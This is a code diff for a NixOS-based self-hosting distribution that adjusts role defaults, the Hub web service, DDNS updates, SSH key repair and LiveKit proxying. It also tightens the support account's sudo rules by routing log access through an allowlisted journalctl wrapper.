# any remaining $ expression.
|
||||
url = raw_url.replace("''${IP}", public_ip)
|
||||
_validate_ddns_url(url)
|
||||
subprocess.run(
|
||||
["curl", "--silent", "--max-time", "15", "--fail", "--no-location", url],
|
||||
timeout=20, check=False,
|
||||
stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL,
|
||||
)
|
||||
except Exception:
|
||||
pass
|
||||
PYEOF
|
||||
chmod 0500 /var/lib/sovran/ddns-update.py
|
||||
'';
|
||||
}
|
||||
@@ -3,6 +3,13 @@
|
||||
{
|
||||
config = lib.mkMerge [
|
||||
|
||||
# Vendored nix-bitcoin is always imported via modules/vendor/nix-bitcoin/modules.nix.
|
||||
# This default satisfies the secrets assertion so Desktop-Only systems evaluate
|
||||
# without enabling any Bitcoin services.
|
||||
{
|
||||
nix-bitcoin.generateSecrets = lib.mkDefault true;
|
||||
}
|
||||
|
||||
# ── Server+Desktop Role (default) ─────────────────────────
|
||||
(lib.mkIf config.sovran_systemsOS.roles.server_plus_desktop {
|
||||
sovran_systemsOS.web.btcpayserver = lib.mkDefault true;
|
||||
@@ -12,15 +19,25 @@
|
||||
(lib.mkIf config.sovran_systemsOS.roles.desktop {
|
||||
services.desktopManager.gnome.enable = true;
|
||||
|
||||
# Force all server/node services and features off so they cannot be
|
||||
# accidentally enabled via custom.nix or option defaults on Desktop Only.
|
||||
sovran_systemsOS.services = {
|
||||
synapse = lib.mkDefault false;
|
||||
bitcoin = lib.mkDefault false;
|
||||
vaultwarden = lib.mkDefault false;
|
||||
wordpress = lib.mkDefault false;
|
||||
nextcloud = lib.mkDefault false;
|
||||
synapse = lib.mkForce false;
|
||||
bitcoin = lib.mkForce false;
|
||||
vaultwarden = lib.mkForce false;
|
||||
wordpress = lib.mkForce false;
|
||||
nextcloud = lib.mkForce false;
|
||||
};
|
||||
|
||||
sovran_systemsOS.web.btcpayserver = lib.mkDefault false;
|
||||
sovran_systemsOS.features = {
|
||||
haven = lib.mkForce false;
|
||||
mempool = lib.mkForce false;
|
||||
element-calling = lib.mkForce false;
|
||||
bitcoin-core = lib.mkForce false;
|
||||
"nwc-wallets" = lib.mkForce false;
|
||||
};
|
||||
|
||||
sovran_systemsOS.web.btcpayserver = lib.mkForce false;
|
||||
})
|
||||
|
||||
# ── Bitcoin Node Only Role ────────────────────────────────
|
||||
|
||||
@@ -46,6 +46,7 @@
|
||||
mempool = lib.mkEnableOption "Bitcoin Mempool Explorer";
|
||||
element-calling = lib.mkEnableOption "Element Video and Audio Calling";
|
||||
bitcoin-core = lib.mkEnableOption "Bitcoin Core";
|
||||
"nwc-wallets" = lib.mkEnableOption "Lightning Wallet Connections";
|
||||
rdp = lib.mkEnableOption "Gnome Remote Desktop";
|
||||
sshd = lib.mkEnableOption "SSH remote access";
|
||||
|
||||
|
||||
+88
-28
@@ -3,6 +3,16 @@
|
||||
let
|
||||
cfg = config.sovran_systemsOS;
|
||||
|
||||
# Read the OS version from the repo-root VERSION file at eval time so the
|
||||
# Hub always ships a real, baked-in version string instead of relying on
|
||||
# a runtime file lookup (which returns "dev" when /etc/nixos/VERSION is
|
||||
# missing, e.g. in a dev checkout — this is the "vdev" bug in the Hub UI).
|
||||
versionFile = ../../VERSION;
|
||||
sovranVersion =
|
||||
if builtins.pathExists versionFile
|
||||
then builtins.replaceStrings [ "v" "\n" "\r" ] [ "" "" "" ] (builtins.readFile versionFile)
|
||||
else "1.0.0";
|
||||
|
||||
monitoredServices =
|
||||
# ── Infrastructure — System Passwords (always present) ─────
|
||||
[
|
||||
@@ -55,12 +65,14 @@ let
|
||||
]; }
|
||||
{ name = "Zeus Connect"; unit = "zeus-connect-setup.service"; type = "system"; icon = "zeus"; enabled = cfg.services.bitcoin; category = "bitcoin-apps"; credentials = [
|
||||
{ label = "QR Code"; file = "/var/lib/secrets/zeus-connect-url"; qrcode = true; qronly = true; }
|
||||
{ label = "How to Connect"; value = "1. Download Zeus from App Store or Google Play\n2. Open Zeus → Scan Node Config\n3. Scan the QR code above"; }
|
||||
]; }
|
||||
{ name = "Sparrow Auto-Link"; unit = "sparrow-autoconnect.service"; type = "system"; icon = "sparrow"; enabled = cfg.services.bitcoin; category = "bitcoin-apps"; credentials = [
|
||||
{ label = "Server"; value = "tcp://127.0.0.1:50001 (Electrs)"; }
|
||||
{ label = "Status"; value = "Auto-configured on first boot"; }
|
||||
]; }
|
||||
{ name = "Lightning Wallet Connections"; unit = "albyhub.service"; type = "system"; icon = "nwc"; enabled = cfg.features."nwc-wallets"; category = "bitcoin-apps"; credentials = [
|
||||
{ label = "Lightning Address Domain"; file = "/var/lib/domains/lightning"; }
|
||||
]; }
|
||||
{ name = "Mempool"; unit = "mempool.service"; type = "system"; icon = "mempool"; enabled = cfg.features.mempool; category = "bitcoin-apps"; credentials = [
|
||||
{ label = "Tor Address — Access from anywhere via Tor Browser"; file = "/var/lib/tor/onion/mempool-frontend/hostname"; prefix = "http://"; }
|
||||
{ label = "Local Network — Access on your home network only"; file = "/var/lib/secrets/internal-ip"; prefix = "http://"; suffix = ":60847"; }
|
||||
@@ -76,7 +88,7 @@ let
|
||||
{ label = "Test Username"; file = "/var/lib/secrets/matrix-test-username"; }
|
||||
{ label = "Test Password"; file = "/var/lib/secrets/matrix-test-password"; }
|
||||
]; }
|
||||
{ name = "Element-Call"; unit = "livekit.service"; type = "system"; icon = "element-calling"; enabled = cfg.features.element-calling; category = "communication"; credentials = []; }
|
||||
{ name = "LiveKit (Element Call)"; unit = "livekit.service"; type = "system"; icon = "element-calling"; enabled = cfg.features.element-calling; category = "communication"; credentials = []; }
|
||||
]
|
||||
# ── Self-Hosted Apps (server+desktop only) ─────────────────
|
||||
++ lib.optionals cfg.roles.server_plus_desktop [
|
||||
@@ -113,8 +125,31 @@ let
|
||||
role = activeRole;
|
||||
services = monitoredServices;
|
||||
feature_manager = true;
|
||||
sovran_version = sovranVersion;
|
||||
});
|
||||
|
||||
generatedVersions = pkgs.writeText "sovran-hub-versions.json" (builtins.toJSON {
|
||||
"caddy.service" = if pkgs ? caddy then pkgs.caddy.version else "2.8.4";
|
||||
"tor.service" = if pkgs ? tor then pkgs.tor.version else "0.4.8.12";
|
||||
"gnome-remote-desktop.service" = if pkgs ? gnome-remote-desktop then pkgs.gnome-remote-desktop.version else "46.0";
|
||||
"bitcoind.service" = if pkgs ? bitcoind-knots then pkgs.bitcoind-knots.version else (if pkgs ? bitcoind then pkgs.bitcoind.version else "27.1.0");
|
||||
"electrs.service" = if pkgs ? electrs then pkgs.electrs.version else "0.10.6";
|
||||
"lnd.service" = if pkgs ? lnd then pkgs.lnd.version else "0.18.0";
|
||||
"rtl.service" = if pkgs ? clightning-rtl then pkgs.clightning-rtl.version else (if pkgs ? rtl then pkgs.rtl.version else "0.15.2");
|
||||
# BTCPay Server is intentionally sourced from pkgs.stable by the service
|
||||
# module. Read the configured package here rather than pkgs.btcpayserver
|
||||
# (unstable), otherwise the Hub can advertise a version that is not running.
|
||||
"btcpayserver.service" = lib.getVersion config.services.btcpayserver.package;
|
||||
"albyhub.service" = if pkgs ? albyhub then pkgs.albyhub.version else "1.8.0";
|
||||
"mempool.service" = if pkgs ? mempool then pkgs.mempool.version else "3.0.0";
|
||||
"matrix-synapse.service" = if pkgs ? matrix-synapse then pkgs.matrix-synapse.version else "1.115.0";
|
||||
"livekit.service" = if pkgs ? livekit then pkgs.livekit.version else "1.5.2";
|
||||
"vaultwarden.service" = if pkgs ? vaultwarden then pkgs.vaultwarden.version else "1.32.0";
|
||||
# Nextcloud and WordPress are downloaded into /var/lib/www, so their
|
||||
# deployed versions are read from their own PHP version files by the Hub.
|
||||
"haven-relay.service" = if pkgs ? haven-relay then pkgs.haven-relay.version else (if pkgs ? haven then pkgs.haven.version else "0.1.0");
|
||||
});
|
||||
|
||||
# ── Update wrapper script ──────────────────────────────────────
|
||||
update-script = pkgs.writeShellScript "sovran-hub-update.sh" ''
|
||||
set -uo pipefail
|
||||
@@ -146,33 +181,16 @@ let
|
||||
echo ""
|
||||
|
||||
if [ "$RC" -eq 0 ]; then
|
||||
echo "── Step 2/3: nixos-rebuild ──────────────────────────"
|
||||
SWITCH_OUT=$(nixos-rebuild switch --flake /etc/nixos --print-build-logs \
|
||||
echo "── Step 2/3: nixos-rebuild boot (stage next reboot) ──"
|
||||
BOOT_OUT=$(nixos-rebuild boot --flake /etc/nixos --print-build-logs \
|
||||
--option connect-timeout 10 \
|
||||
--option stalled-download-timeout 90 \
|
||||
--option download-attempts 7 \
|
||||
--option fallback true 2>&1)
|
||||
SWITCH_RC=$?
|
||||
echo "$SWITCH_OUT"
|
||||
if [ "$SWITCH_RC" -eq 0 ]; then
|
||||
echo "[OK] switch succeeded"
|
||||
elif echo "$SWITCH_OUT" | grep -q "switchInhibitors\|Pre-switch checks failed"; then
|
||||
echo ""
|
||||
echo " ✓ Build succeeded — a reboot is required to apply this update"
|
||||
echo " (Critical system components changed; running nixos-rebuild boot instead)"
|
||||
if nixos-rebuild boot --flake /etc/nixos --print-build-logs \
|
||||
--option connect-timeout 10 \
|
||||
--option stalled-download-timeout 90 \
|
||||
--option download-attempts 7 \
|
||||
--option fallback true 2>&1; then
|
||||
echo "REBOOT_REQUIRED" > "$STATUS"
|
||||
exit 0
|
||||
else
|
||||
echo "[ERROR] nixos-rebuild boot also failed"
|
||||
RC=1
|
||||
fi
|
||||
else
|
||||
echo "[ERROR] nixos-rebuild switch failed"
|
||||
BOOT_RC=$?
|
||||
echo "$BOOT_OUT"
|
||||
if [ "$BOOT_RC" -ne 0 ]; then
|
||||
echo "[ERROR] nixos-rebuild boot failed"
|
||||
RC=1
|
||||
fi
|
||||
echo ""
|
||||
@@ -188,9 +206,10 @@ let
|
||||
|
||||
if [ "$RC" -eq 0 ]; then
|
||||
echo "══════════════════════════════════════════════════"
|
||||
echo " ✓ Update completed successfully"
|
||||
echo " ✓ Update staged successfully"
|
||||
echo " Reboot required to activate the new system"
|
||||
echo "══════════════════════════════════════════════════"
|
||||
echo "SUCCESS" > "$STATUS"
|
||||
echo "REBOOT_REQUIRED" > "$STATUS"
|
||||
else
|
||||
echo "══════════════════════════════════════════════════"
|
||||
echo " ✗ Update failed — see errors above"
|
||||
@@ -324,6 +343,8 @@ let
|
||||
cp -r sovran_systemsos_web $out/lib/sovran-hub-web/
|
||||
|
||||
cp ${generatedConfig} $out/lib/sovran-hub-web/config.json
|
||||
cp ${generatedVersions} $out/lib/sovran-hub-web/versions.json
|
||||
printf '%s' "${sovranVersion}" > $out/lib/sovran-hub-web/VERSION
|
||||
|
||||
install -d $out/share/sovran-hub/icons
|
||||
cp icons/* $out/share/sovran-hub/icons/ 2>/dev/null || true
|
||||
@@ -358,6 +379,7 @@ import os, sys
|
||||
base = os.path.join("$out", "lib", "sovran-hub-web")
|
||||
sys.path.insert(0, base)
|
||||
os.environ["SOVRAN_HUB_CONFIG"] = os.path.join(base, "config.json")
|
||||
os.environ["SOVRAN_HUB_VERSIONS"] = os.path.join(base, "versions.json")
|
||||
os.environ["SOVRAN_HUB_ICONS"] = os.path.join("$out", "share", "sovran-hub", "icons")
|
||||
import uvicorn
|
||||
uvicorn.run(
|
||||
@@ -369,6 +391,26 @@ uvicorn.run(
|
||||
LAUNCHER
|
||||
chmod +x $out/bin/sovran-hub-web
|
||||
|
||||
cat > $out/bin/nwc-wallet <<LAUNCHER
|
||||
#!${pkgs.python3}/bin/python3
|
||||
import os, sys
|
||||
base = os.path.join("$out", "lib", "sovran-hub-web")
|
||||
sys.path.insert(0, base)
|
||||
from sovran_systemsos_web.nwc_wallet_cli import main
|
||||
sys.exit(main())
|
||||
LAUNCHER
|
||||
chmod +x $out/bin/nwc-wallet
|
||||
|
||||
cat > $out/bin/nwc-lnurl <<LAUNCHER
|
||||
#!${pkgs.python3}/bin/python3
|
||||
import os, sys
|
||||
base = os.path.join("$out", "lib", "sovran-hub-web")
|
||||
sys.path.insert(0, base)
|
||||
from sovran_systemsos_web.nwc_lnurl_service import main
|
||||
main()
|
||||
LAUNCHER
|
||||
chmod +x $out/bin/nwc-lnurl
|
||||
|
||||
runHook postInstall
|
||||
'';
|
||||
|
||||
@@ -380,6 +422,12 @@ LAUNCHER
|
||||
|
||||
in
|
||||
{
|
||||
options.services.sovranHub.webPackage = lib.mkOption {
|
||||
type = lib.types.package;
|
||||
default = sovran-hub-web;
|
||||
description = "The sovran-hub-web Python application package. Other modules use this to reference Hub-installed scripts without duplicating the Python path setup.";
|
||||
};
|
||||
|
||||
config = {
|
||||
systemd.services.sovran-hub-web = {
|
||||
description = "Sovran_SystemsOS Hub Web Interface";
|
||||
@@ -398,13 +446,25 @@ in
|
||||
};
|
||||
|
||||
path = [
|
||||
pkgs.bash
|
||||
pkgs.gawk
|
||||
pkgs.qrencode
|
||||
pkgs.curl
|
||||
pkgs.iproute2
|
||||
pkgs.nftables
|
||||
pkgs.iptables
|
||||
pkgs.hostname
|
||||
] ++ lib.optional cfg.services.bitcoin config.services.bitcoind.package;
|
||||
pkgs.coreutils
|
||||
pkgs.findutils
|
||||
pkgs.gnugrep
|
||||
pkgs.rsync
|
||||
pkgs.acl
|
||||
pkgs.util-linux
|
||||
]
|
||||
++ lib.optional cfg.services.bitcoin config.services.bitcoind.package
|
||||
++ lib.optionals cfg.services.bitcoin [ pkgs.lnd ]
|
||||
++ lib.optionals (cfg.services.nextcloud || cfg.services.synapse) [ config.services.postgresql.package ]
|
||||
++ lib.optionals config.services.mysql.enable [ config.services.mysql.package ];
|
||||
};
|
||||
|
||||
systemd.services.sovran-hub-update = {
|
||||
|
||||
@@ -0,0 +1,175 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Sovran restricted journal helper.
|
||||
|
||||
A root-owned, non-user-writable diagnostic tool that wraps journalctl with
|
||||
a strict allowlist of safe flags. Replaces the ``journalctl *`` sudo rule
|
||||
in tech-support.nix.
|
||||
|
||||
Accepted flags:
|
||||
--unit / -u <name> must be one of the explicitly approved service units
|
||||
--lines / -n <N> positive integer (max 10000)
|
||||
--priority / -p <level> 0-7 or emerg/alert/crit/err/warning/notice/info/debug
|
||||
--since <datetime> ISO 8601 date/datetime (no paths, no filesystem roots)
|
||||
--until <datetime> ISO 8601 date/datetime (no paths, no filesystem roots)
|
||||
--output / -o <format> short | short-iso | cat | json | verbose
|
||||
|
||||
At least one ``--unit`` flag is required; whole-journal queries are rejected.
|
||||
All other flags, paths, directories, roots, namespaces, and output
|
||||
destinations are rejected with a non-zero exit code.
|
||||
"""
|
||||
|
||||
import re
|
||||
import subprocess
|
||||
import sys
|
||||
|
||||
# ── Allowlists ────────────────────────────────────────────────────────────────
|
||||
|
||||
# Explicit approved units. Only these four services may be queried through
|
||||
# the restricted journal helper. Any other unit is rejected.
|
||||
_APPROVED_UNITS: frozenset[str] = frozenset([
|
||||
"sovran-hub-web.service",
|
||||
"caddy.service",
|
||||
"bitcoind.service",
|
||||
"lnd.service",
|
||||
])
|
||||
|
||||
_ALLOWED_PRIORITIES = frozenset([
|
||||
"0", "1", "2", "3", "4", "5", "6", "7",
|
||||
"emerg", "alert", "crit", "err", "warning", "notice", "info", "debug",
|
||||
])
|
||||
|
||||
_ALLOWED_OUTPUT_FORMATS = frozenset([
|
||||
"short", "short-iso", "cat", "json", "verbose",
|
||||
])
|
||||
|
||||
# ISO 8601 date or datetime: YYYY-MM-DD or YYYY-MM-DDTHH:MM:SS (no paths)
|
||||
_DATETIME_RE = re.compile(r'^\d{4}-\d{2}-\d{2}(T\d{2}:\d{2}(:\d{2})?)?$')
|
||||
|
||||
_MAX_LINES = 10000
|
||||
|
||||
# ── Argument parser ───────────────────────────────────────────────────────────
|
||||
|
||||
|
||||
def _die(msg: str) -> None:
|
||||
print(f"sovran-journal-helper: {msg}", file=sys.stderr)
|
||||
sys.exit(1)
|
||||
|
||||
|
||||
def _validate_unit(val: str) -> str:
|
||||
if val not in _APPROVED_UNITS:
|
||||
_die(
|
||||
f"rejected unit name: {val!r} "
|
||||
f"(allowed: {', '.join(sorted(_APPROVED_UNITS))})"
|
||||
)
|
||||
return val
|
||||
|
||||
|
||||
def _validate_lines(val: str) -> str:
|
||||
try:
|
||||
n = int(val)
|
||||
except ValueError:
|
||||
_die(f"rejected: --lines must be a positive integer, got {val!r}")
|
||||
if n <= 0 or n > _MAX_LINES:
|
||||
_die(f"rejected: --lines must be between 1 and {_MAX_LINES}, got {n}")
|
||||
return str(n)
|
||||
|
||||
|
||||
def _validate_priority(val: str) -> str:
|
||||
if val not in _ALLOWED_PRIORITIES:
|
||||
_die(f"rejected priority: {val!r}")
|
||||
return val
|
||||
|
||||
|
||||
def _validate_datetime(val: str) -> str:
|
||||
if not _DATETIME_RE.match(val):
|
||||
_die(f"rejected: datetime {val!r} (must be YYYY-MM-DD or YYYY-MM-DDTHH:MM:SS)")
|
||||
return val
|
||||
|
||||
|
||||
def _validate_output(val: str) -> str:
|
||||
if val not in _ALLOWED_OUTPUT_FORMATS:
|
||||
_die(f"rejected output format: {val!r}")
|
||||
return val
|
||||
|
||||
|
||||
def main() -> None:
|
||||
args = sys.argv[1:]
|
||||
cmd = ["journalctl"]
|
||||
unit_count = 0
|
||||
|
||||
i = 0
|
||||
while i < len(args):
|
||||
arg = args[i]
|
||||
|
||||
if arg in ("--unit", "-u"):
|
||||
i += 1
|
||||
if i >= len(args):
|
||||
_die("--unit requires a value")
|
||||
cmd += ["--unit", _validate_unit(args[i])]
|
||||
unit_count += 1
|
||||
elif arg.startswith("--unit="):
|
||||
cmd += ["--unit", _validate_unit(arg[len("--unit="):])]
|
||||
unit_count += 1
|
||||
|
||||
elif arg in ("--lines", "-n"):
|
||||
i += 1
|
||||
if i >= len(args):
|
||||
_die("--lines requires a value")
|
||||
cmd += ["--lines", _validate_lines(args[i])]
|
||||
elif arg.startswith("--lines="):
|
||||
cmd += ["--lines", _validate_lines(arg[len("--lines="):])]
|
||||
elif re.match(r'^-n\d+$', arg):
|
||||
cmd += ["--lines", _validate_lines(arg[2:])]
|
||||
|
||||
elif arg in ("--priority", "-p"):
|
||||
i += 1
|
||||
if i >= len(args):
|
||||
_die("--priority requires a value")
|
||||
cmd += ["--priority", _validate_priority(args[i])]
|
||||
elif arg.startswith("--priority="):
|
||||
cmd += ["--priority", _validate_priority(arg[len("--priority="):])]
|
||||
|
||||
elif arg == "--since":
|
||||
i += 1
|
||||
if i >= len(args):
|
||||
_die("--since requires a value")
|
||||
cmd += ["--since", _validate_datetime(args[i])]
|
||||
elif arg.startswith("--since="):
|
||||
cmd += ["--since", _validate_datetime(arg[len("--since="):])]
|
||||
|
||||
elif arg == "--until":
|
||||
i += 1
|
||||
if i >= len(args):
|
||||
_die("--until requires a value")
|
||||
cmd += ["--until", _validate_datetime(args[i])]
|
||||
elif arg.startswith("--until="):
|
||||
cmd += ["--until", _validate_datetime(arg[len("--until="):])]
|
||||
|
||||
elif arg in ("--output", "-o"):
|
||||
i += 1
|
||||
if i >= len(args):
|
||||
_die("--output requires a value")
|
||||
cmd += ["--output", _validate_output(args[i])]
|
||||
elif arg.startswith("--output="):
|
||||
cmd += ["--output", _validate_output(arg[len("--output="):])]
|
||||
|
||||
else:
|
||||
_die(
|
||||
f"rejected flag: {arg!r}. "
|
||||
"Allowed flags: --unit, --lines, --priority, --since, --until, --output"
|
||||
)
|
||||
|
||||
i += 1
|
||||
|
||||
if unit_count == 0:
|
||||
_die(
|
||||
"at least one --unit flag is required; "
|
||||
f"allowed units: {', '.join(sorted(_APPROVED_UNITS))}"
|
||||
)
|
||||
|
||||
result = subprocess.run(cmd)
|
||||
sys.exit(result.returncode)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
@@ -31,7 +31,7 @@ lib.mkIf userExists {
|
||||
};
|
||||
|
||||
systemd.services.factory-ssh-keygen = {
|
||||
description = "Generate factory SSH key for ${userName} if missing";
|
||||
description = "Generate or repair factory SSH key for ${userName}";
|
||||
wantedBy = [ "multi-user.target" ];
|
||||
after = [ "ssh-passphrase-setup.service" ];
|
||||
requires = [ "ssh-passphrase-setup.service" ];
|
||||
@@ -39,14 +39,47 @@ lib.mkIf userExists {
|
||||
Type = "oneshot";
|
||||
RemainAfterExit = true;
|
||||
};
|
||||
path = [ pkgs.openssh pkgs.coreutils ];
|
||||
path = [ pkgs.openssh pkgs.coreutils pkgs.util-linux ];
|
||||
script = ''
|
||||
if [ ! -f "${keyPath}" ]; then
|
||||
PASSPHRASE=$(cat /var/lib/secrets/ssh-passphrase)
|
||||
set -eu
|
||||
|
||||
PASSPHRASE=$(cat /var/lib/secrets/ssh-passphrase)
|
||||
lock_file="${keyPath}.lock"
|
||||
|
||||
exec 9>"$lock_file"
|
||||
|
||||
if ! flock -n 9; then
|
||||
echo "Factory SSH key setup is already running." >&2
|
||||
exit 1
|
||||
fi
|
||||
|
||||
generate_factory_key() {
|
||||
ssh-keygen -q -N "$PASSPHRASE" -t ed25519 -f "${keyPath}"
|
||||
chown ${userName}:users "${keyPath}" "${keyPath}.pub"
|
||||
chmod 600 "${keyPath}"
|
||||
chmod 644 "${keyPath}.pub"
|
||||
}
|
||||
|
||||
if [ ! -f "${keyPath}" ]; then
|
||||
generate_factory_key
|
||||
elif ! ssh-keygen -y -P "$PASSPHRASE" -f "${keyPath}" >/dev/null 2>&1; then
|
||||
backup_suffix="$(date -u +%Y%m%d_%H%M%S)-$$"
|
||||
backup_path="${keyPath}.bak-$backup_suffix"
|
||||
backup_index=0
|
||||
|
||||
while [ -e "$backup_path" ] || [ -e "$backup_path.pub" ]; do
|
||||
backup_index=$((backup_index + 1))
|
||||
backup_path="${keyPath}.bak-$backup_suffix-$backup_index"
|
||||
done
|
||||
|
||||
echo "Existing factory SSH key does not match current passphrase; backing it up to $backup_path and generating a replacement."
|
||||
mv "${keyPath}" "$backup_path"
|
||||
|
||||
if [ -f "${keyPath}.pub" ]; then
|
||||
mv "${keyPath}.pub" "$backup_path.pub"
|
||||
fi
|
||||
|
||||
generate_factory_key
|
||||
fi
|
||||
'';
|
||||
};
|
||||
|
||||
@@ -11,11 +11,10 @@
|
||||
# (u:sovran-support:---) by the Hub API as soon as a session is started.
|
||||
# • The Hub web UI lets the user grant time-limited access to wallet files
|
||||
# and view a full audit log of every session event.
|
||||
# • Scoped sudo rules allow support staff to edit custom.nix, trigger rebuilds,
|
||||
# restart services, and read logs — without full root or wallet access.
|
||||
#
|
||||
# The `acl` package provides the `setfacl` / `getfacl` utilities required by
|
||||
# the Hub's _apply_wallet_acls() and _revoke_wallet_acls() helpers.
|
||||
# • Scoped sudo rules allow support staff to restart specific services and
|
||||
# read logs — without full root, wallet access, Nix editing, or rebuilds.
|
||||
# • journalctl access is provided only through the root-owned
|
||||
# sovran-journal-helper script (see below) with an allowlist of safe flags.
|
||||
{
|
||||
# ── System packages ────────────────────────────────────────────────────────
|
||||
environment.systemPackages = [ pkgs.acl ];
|
||||
@@ -42,18 +41,40 @@
|
||||
"d /var/lib/sovran-support/.ssh 0700 sovran-support sovran-support -"
|
||||
];
|
||||
|
||||
# ── Restricted journal helper ─────────────────────────────────────────────
|
||||
# The helper is root-owned, not writable by any user, and accepts only a
|
||||
# narrow allowlist of safe journalctl flags. It is the sole mechanism by
|
||||
# which the support user may read journal logs.
|
||||
environment.etc."sovran/sovran-journal-helper.py" = {
|
||||
source = ./sovran-journal-helper.py;
|
||||
mode = "0500";
|
||||
user = "root";
|
||||
group = "root";
|
||||
};
|
||||
|
||||
# ── Scoped sudo rules for support staff ───────────────────────────────────
|
||||
# Grants only the minimum privileges needed for a support session.
|
||||
# Support staff cannot stop/disable/mask services or access wallet files.
|
||||
# Grants only the minimum privileges needed for diagnostic support.
|
||||
# Editing Nix configuration and running nixos-rebuild are intentionally
|
||||
# excluded: combining those two permissions provides a trivial path to
|
||||
# arbitrary root code execution. Systemctl access is limited to a small
|
||||
# allowlist of named service restart operations. journalctl is available
|
||||
# only through the restricted helper above.
|
||||
security.sudo.extraRules = [
|
||||
{
|
||||
users = [ "sovran-support" ];
|
||||
commands = [
|
||||
{ command = "/run/current-system/sw/bin/nano /etc/nixos/custom.nix"; options = [ "NOPASSWD" ]; }
|
||||
{ command = "/run/current-system/sw/bin/nano /etc/nixos/configuration.nix"; options = [ "NOPASSWD" ]; }
|
||||
{ command = "/run/current-system/sw/bin/nixos-rebuild switch --flake /etc/nixos"; options = [ "NOPASSWD" ]; }
|
||||
{ command = "/run/current-system/sw/bin/systemctl restart *"; options = [ "NOPASSWD" ]; }
|
||||
{ command = "/run/current-system/sw/bin/journalctl *"; options = [ "NOPASSWD" ]; }
|
||||
{ command = "/run/current-system/sw/bin/systemctl restart sovran-hub-web.service"; options = [ "NOPASSWD" ]; }
|
||||
{ command = "/run/current-system/sw/bin/systemctl restart caddy.service"; options = [ "NOPASSWD" ]; }
|
||||
{ command = "/run/current-system/sw/bin/systemctl restart bitcoind.service"; options = [ "NOPASSWD" ]; }
|
||||
{ command = "/run/current-system/sw/bin/systemctl restart lnd.service"; options = [ "NOPASSWD" ]; }
|
||||
{ command = "/run/current-system/sw/bin/systemctl status sovran-hub-web.service"; options = [ "NOPASSWD" ]; }
|
||||
{ command = "/run/current-system/sw/bin/systemctl status caddy.service"; options = [ "NOPASSWD" ]; }
|
||||
{ command = "/run/current-system/sw/bin/systemctl status bitcoind.service"; options = [ "NOPASSWD" ]; }
|
||||
{ command = "/run/current-system/sw/bin/systemctl status lnd.service"; options = [ "NOPASSWD" ]; }
|
||||
# Restricted journal helper: accepts only safe flags (--unit, --lines,
|
||||
# --priority, --since, --until, --output). Rejects paths, directories,
|
||||
# namespaces, roots, and arbitrary output destinations.
|
||||
{ command = "/run/current-system/sw/bin/python3 /etc/sovran/sovran-journal-helper.py *"; options = [ "NOPASSWD" ]; }
|
||||
];
|
||||
}
|
||||
];
|
||||
|
||||
@@ -111,7 +111,15 @@ in
|
||||
echo "$ROOT_PASS" > "$SECRET_FILE"
|
||||
chmod 600 "$SECRET_FILE"
|
||||
fi
|
||||
echo "root:$(cat "$SECRET_FILE")" | chpasswd
|
||||
# If the file contains a scrypt hash (salt:hash), skip chpasswd — the
|
||||
# password was already set via the Hub security reset endpoint and this
|
||||
# service is only re-running as a manual recovery step.
|
||||
CONTENT="$(cat "$SECRET_FILE")"
|
||||
if echo "$CONTENT" | grep -qE '^[0-9a-f]{32}:[0-9a-f]{64,}$'; then
|
||||
echo "root-password-setup: stored value is already hashed — skipping chpasswd" >&2
|
||||
else
|
||||
echo "root:$CONTENT" | chpasswd
|
||||
fi
|
||||
'';
|
||||
};
|
||||
|
||||
|
||||
+104
-22
@@ -34,8 +34,8 @@ lib.mkIf config.sovran_systemsOS.features.element-calling {
|
||||
};
|
||||
|
||||
####### ENSURE SERVICES START AFTER KEY EXISTS #######
|
||||
systemd.services.livekit.after = [ "livekit-key-setup.service" ];
|
||||
systemd.services.livekit.wants = [ "livekit-key-setup.service" ];
|
||||
systemd.services.livekit.after = [ "livekit-key-setup.service" "livekit-turn-setup.service" ];
|
||||
systemd.services.livekit.wants = [ "livekit-key-setup.service" "livekit-turn-setup.service" ];
|
||||
systemd.services.lk-jwt-service.after = [ "livekit-key-setup.service" ];
|
||||
systemd.services.lk-jwt-service.wants = [ "livekit-key-setup.service" ];
|
||||
|
||||
@@ -68,35 +68,54 @@ $MATRIX {
|
||||
header /.well-known/matrix/* Access-Control-Allow-Methods "GET, POST, PUT, DELETE, OPTIONS"
|
||||
header /.well-known/matrix/* Access-Control-Allow-Headers "X-Requested-With, Content-Type, Authorization"
|
||||
respond /.well-known/matrix/client \`{ "m.homeserver": {"base_url": "https://$MATRIX" }, "org.matrix.msc4143.rtc_foci": [{ "type":"livekit", "livekit_service_url":"https://$ELEMENT_CALLING/livekit/jwt" }] }\`
|
||||
}
|
||||
|
||||
$MATRIX:8448 {
|
||||
reverse_proxy http://localhost:8008
|
||||
respond /.well-known/matrix/server \`{"m.server":"$MATRIX:443"}\`
|
||||
}
|
||||
|
||||
$ELEMENT_CALLING {
|
||||
handle /livekit/jwt/sfu/get {
|
||||
# Route all current lk-jwt-service authorization endpoints to port 8073,
|
||||
# stripping the /livekit/jwt prefix that Caddy adds on the public URL.
|
||||
@lk_jwt path /livekit/jwt/sfu/get* /livekit/jwt/get_token* /livekit/jwt/healthz* /livekit/jwt/sfu_webhook* /livekit/jwt/delegate_delayed_leave*
|
||||
handle @lk_jwt {
|
||||
uri strip_prefix /livekit/jwt
|
||||
reverse_proxy [::1]:8073 {
|
||||
header_up Host {host}
|
||||
header_up X-Forwarded-Server {host}
|
||||
header_up X-Real-IP {remote_host}
|
||||
header_up X-Forwarded-For {remote_host}
|
||||
header_up X-Forwarded-Proto {scheme}
|
||||
}
|
||||
}
|
||||
handle {
|
||||
reverse_proxy localhost:7880
|
||||
reverse_proxy localhost:7880 {
|
||||
header_up Host {host}
|
||||
header_up X-Forwarded-Proto {scheme}
|
||||
header_up X-Forwarded-For {remote_host}
|
||||
header_up X-Real-IP {remote_host}
|
||||
transport http {
|
||||
read_timeout 300s
|
||||
write_timeout 300s
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
EOF
|
||||
'';
|
||||
};
|
||||
|
||||
####### LIVEKIT RUNTIME CONFIG #######
|
||||
systemd.services.livekit-runtime-config = {
|
||||
description = "Generate LiveKit runtime config from domain files";
|
||||
####### LIVEKIT TURN SETUP (runtime cert + config) #######
|
||||
# Replaces the old dead livekit-runtime-config.service. At runtime this:
|
||||
# * reads the matrix domain from /var/lib/domains/matrix (never hardcoded)
|
||||
# * copies Caddy's already-issued matrix cert/key into /var/lib/livekit
|
||||
# so LoadCredential can stage them for the (DynamicUser) livekit unit
|
||||
